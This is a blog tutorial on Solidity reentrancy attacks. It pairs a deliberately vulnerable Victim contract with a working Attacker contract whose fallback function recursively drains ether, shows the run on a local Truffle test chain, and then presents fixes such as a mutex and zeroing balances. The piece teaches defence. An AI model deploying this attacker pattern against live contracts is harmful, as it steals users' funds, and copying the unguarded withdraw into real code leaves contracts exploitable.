Bugs in Solidity are costly, putting yourself and many others at risk, so its important to take precautions when writing and deploying smart contracts. We’re going to explore one of those bugs, a recursive send exploit. We’re going be going through a simplified reentrancy attack scenario using 2 smart contracts, a Victim and an Attacker contract.
Prerequisites:
Its expected that you have a basic understanding of the Ethereum Blockchain technologies and the programming language Solidity, a smart contract concept, which compiles down to EVM bytecode.
If you don’t know what Smart Contract’s are or Solidity is, explore these links below:
Im using a mac, apologies and forewarning’s.
NodeJS — is a JavaScript runtime built on Chrome’s V8 JavaScript engine you’ll need at least version 6.9.1.
Truffle:
$ npm install --global truffle
Truffle is a deployment and testing framework built to make contract deployment and management easier for the developer. We’re going to use this framework for our deployment flow and the console that it provides, which is a NodeJS console with a couple of extra packages injected into it. Truffle also provides a testing blockchain thats used for development.
$: This mean we are running our commands in the bash console.
truffle(develop) >: This mean we are running our commands in the truffle console.
Getting Started:
We’re going to run a few commands to scaffold out our project.
$ mkdir reentrancy_attack
$ cd reentrancy_attack
The commands above create our project folder and then changes to that project folder.
$ truffle init
$ touch contracts/Attacker.sol contracts/Victim.sol
These commands are going to create a couple files. The files we’re creating are going to hold our contracts code that we will eventually be deploying.
Victim’s Contract:
The contents below go inside of our Victim.sol
file.
pragma solidity ^0.4.8;
contract Victim {
function withdraw() {
uint transferAmt = 1 ether;
if (!msg.sender.call.value(transferAmt)()) throw;
}
function deposit() payable {}
}
This is the Victim contract with the reentrancy vulnerability. The withdraw
function is where the vulnerability actually lies and inside the if
statement the victim writes !msg.sender.call.value(transferAmt)()
which is an external call. The external call problem:
“Avoid external calls when possible. Calls to untrusted contracts can introduce several unexpected risks or errors. External calls may execute malicious code in that contract or any other contract that it depends upon. As such, every external call should be treated as a potential security risk, and removed if possible.” — Ethereum Wiki
The withdraw
function sends 1 ether to the msg.sender
, which in this case is the attacker. The attacker should only be able to receive that 1 ether per call, but we’ll see how an attacker is able to call the function more than once before it finishes, the recursive send exploit.
We're only using the deposit()
function to transfer some ether to the Victim
contract. The contract starts with 0
”ether on deployment, so we’ll need to send the contract some ether so the attacker can swipe it (evil laugh).
Attacker’s Contract:
The contents below go inside of our Attacker.sol
file.
pragma solidity ^0.4.8;
import './Victim.sol';
contract Attacker {
Victim v;
uint public count;
event LogFallback(uint c, uint balance);
function Attacker(address victim) {
v = Victim(victim);
}
function attack() {
v.withdraw();
}
function () payable {
count++;
LogFallback(count, this.balance);
if (count < 10) {
v.withdraw();
}
}
}
This is the attackers contract code, they simply declare a contract called Attacker
. The attacker declares a variable v
(on line 6) and sets that variable to type Victim
(you can use contracts as explicit types in Solidity). Then in our constructor function (on lines 11-13) we cast the deployed Victim
contract’s address to our Victim
type and set that to be the v
variable.
Then we declare two functions:
attack()
function () payable {} (our fallback function)
The attack()
function calls thev.withdraw()
method which calls the deployed Victim
contracts withdraw method (see lines 5–8 on the Victim contract above).
Once this happens, 1 ether is sent to the attacker
using the withdraw
method. In our case the 1 ether is sent to our Attacker
contract, its all fine and dandy until the sent ether actually arrives at the malicious contract code. Thats when the second Attacker
contract function is called, the fallback function.
The fallback function is invoked every time ether is sent to the Attacker
contracts address. The payable
modifier is actually what allows the contract to receive ether. When ether is sent to the Attacker
contract, the fallback function is ran (almost like a “fishing net” to catch all the ether that is sent to this contract) which in turn causes several steps to take place:
The
LogFallback
event fires every time the fallback function is called. (more on events in this post)Then we have an if statement that just stops this function from running more than 10 times, this keeps the
withdraw()
call from running out of gas and having the stolen ether reverted.Then
v.withdraw()
is called again!!!
Before the original call to v.withdraw()
ever finishes it calls the v.withdraw()
method again which continues to recursively call itself until the count
meets the condition.
Deployment Code:
The contents below go inside of our 1_initial_migration.js file in the migrations folder.
const Victim = artifacts.require('./Victim.sol')
const Attacker = artifacts.require('./Attacker.sol')
module.exports = function(deployer) {
deployer
.deploy(Victim)
.then(() =>
deployer.deploy(Attacker, Victim.address)
)
}
Go ahead an delete the code that is in this file and replace it with the code above. The code above allows us to control the deployment flow of our 2 contracts, in three simple steps:
- We deploy our Victim contract to the testing blockchain.
- We wait for the results of that deployment.
- Once the deployment was successful we take that address of the deployed Victim's contract and deploy our Attacker's contract with that address passed to the Attacker contract’s constructor function.
Now to the Console:
$ truffle develop
This will start up the testing blockchain. You see a wallet with accounts displayed and then u'll be in a truffle console.
Deploying our contracts:
First:
truffle(develop) > compile
This command is going to create a build folder, compile the 2 contracts down to EVM bytecode and create the ABI for both contracts.
Second:
truffle(develop) > migrate --reset
This command is what actually deploy our contracts to testing blockchain. You should see some transaction hashes and addresses return for both contracts.
Now for the attack scenario:
truffle(develop) > acct1 = web3.eth.accounts[0]
First we going to set a variable acct1
, thats going to be equal to the first account in the web3.eth.accounts
array. When starting test blockchain you get 10 accounts that are uploaded with 100 ether each. We going to use this account to send money to our Victims contract.
truffle(develop) > Victim.deployed().then(contract => victim = contract)
Here we are going to get our deployed Victim contract instance and set it to a variable victim. This allows us to interact with our deployed contract.
truffle(develop) > getBalance = web3.eth.getBalance
truffle(develop) > balanceInEth = address => web3.fromWei(getBalance(address).toString())
Here we set up a helper method that will check the account balances in their ether denomination. When checking account balances with the normal web3.eth.getBalance(address) it gives you the results in Wei. Now we can check the balances of our Victim contract and our acct1 address in ether.
> balanceInEth(victim.address)
"0"
> balanceInEth(acct1)
"99.789101234"
After checking the balances, acct1 has a bunch of ether and the victim doesn’t have any. Lets share some of that with our Victim.
> options = { from: acct1, to: victim.address, value: web3.toWei(11, 'ether') }
> victim.deposit.sendTransaction(options)
"very-long-transaction-hash-that-keeps-going"
The fact that we made a function deposit that was payable allows us to send money to our Victim contract. Now when we check the balances of our two accounts the changes are reflected.
> balanceInEth(acct1)
"88.678910"
> balanceInEth(victim.address)
"11"
Now we can see that our acct1
balance has 11 less ether plus some gas expenses (senders pay transaction fees) and now the victim
has 11 ether.
Now for the Attack!!:
> Attacker.deployed().then(contract => attacker = contract)
Like before, we’re getting our Attacker
contract instance which allows us to access the methods that we defined when we originally deployed our Attacker
contract. Now lets check the balance of this contract.
> balanceInEth(attacker.address)
"0"
The attacker
doesn’t have any ether in their account. Lets change that.
> attacker.attack()
If the command runs correctly, you’ll see similar logs like the ones below.
The logs above represent the LogFallback
events that we’ve emitted and its strictly for feedback to show us the recursive calls. You should be able to see an array logs: […]. This shows us with a single attack()
call, that we where able to call v.withdraw()
9 additional times along with our original call, BAD.
Now lets check the balances of the parties involved.
> balanceInEth(attacker.address)
"10"
Now the Attacker
contracts balance has 10 ether.
> balanceInEth(victim.address)
"1"
The Victim
contracts balance is less than it was before, with an entire 10 ether gone, poof.
What Happened?:
Since we didn’t implement code to block concurrent calls from happening in the withdraw
function, the withdraw
function can be called multiple times before the original invocation finishes. When using msg.sender.call.value(ethAmt)()
an external call it puts you and your contract code at risk. External calls may execute malicious code resulting in you losing the control flow of the function call and potentially losing ether that the contract holds.
Solutions:
There are 3 solutions we could use to protect contract code from a “Reentrancy Attack”, but only 2 apply to our situation because we are not keeping track of any balances (more on this in a sec):
The first and simplest thing you could do is replace
msg.sender.call.value(ethAmt)()
withmsg.sender.send(ethAmt)
which also allows you to execute external code, but limits the gas stipend to 2,300 gas, which is only enough to log an event, but not launch an attack.We can also create a
Mutex
modifier which will lock the function, effectively blocking any additional calls while thewithdraw
function is already in use:
pragma solidity ^0.4.8;
contract Victim {
bool locked;
/**
@dev Modifier to insure that functions cannot be reentered
during execution. Note there is only one global "locked" var, so
there is a potential to be locked out of all functions that use
the modifier at the same time.
*/
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
function withdraw() noReentrancy {
uint transferAmt = 1 ether;
if (!msg.sender.call.value(transferAmt)()) throw;
}
function deposit() payable {}
}
Update: I got some feedback on the Mutex
modifier above and was told that modifying state in a function modifier is "never best practice" and that mutex's should be a decision thats made when there's no other.
- The final solution which does not apply to our contracts, but its common enough and deserves a mention. Its called zeroing out which you set the
attackers
balance to0
before the ether is even sent. This limits what they canwithdraw
from the contract to only what they have. It relies on theattacker
having some sort of stake in the contract, which is good because you can set the limit in the withdraw function and check if the attacker is a stake holder.
function withdrawShares() insureShareholder {
uint shareCount = shares[msg.sender].shareCount;
shares[msg.sender].shareCount = 0;
if (msg.sender.send(shareCount)){
SharesWithdrawn(msg.sender, shareCount);
} else {
shares[msg.sender].shareCount = shareCount;
FailedSend(msg.sender, shareCount);
}
}
and if sending the ether fails for some reason just give it back.
Conclusion:
As you can see Solidity is like any other programming language but the same mistakes can be much more costly (literally). All writes in Ethereum cost some sort of gas and untracked bugs can cost you ether and some of that ether might not even be yours. So do your due diligence when writing these contracts. Be sure to take advantage of the tools available and the many Testnets in the world today. Feedback welcome and Thank you for your time.
ETH: 0x50B4d120793CdCCAee2Ae418e8aa5a22eba7a22d
BTC: 1MAC12cBGchiR6YgHxwErptJKXRMckU1Uz
BCH: 18YAAPdpx1VW3aLmhCCpWJk9JH17pxETbb
LTC: LcGWa3EbvDeT3MDdzBtznDyHZLRXYPy4JS
That was a very insightful read. Thank you for taking the time to break this down Dev. Looking forward to the future ones.
Thanks so much, @fode glad it helped.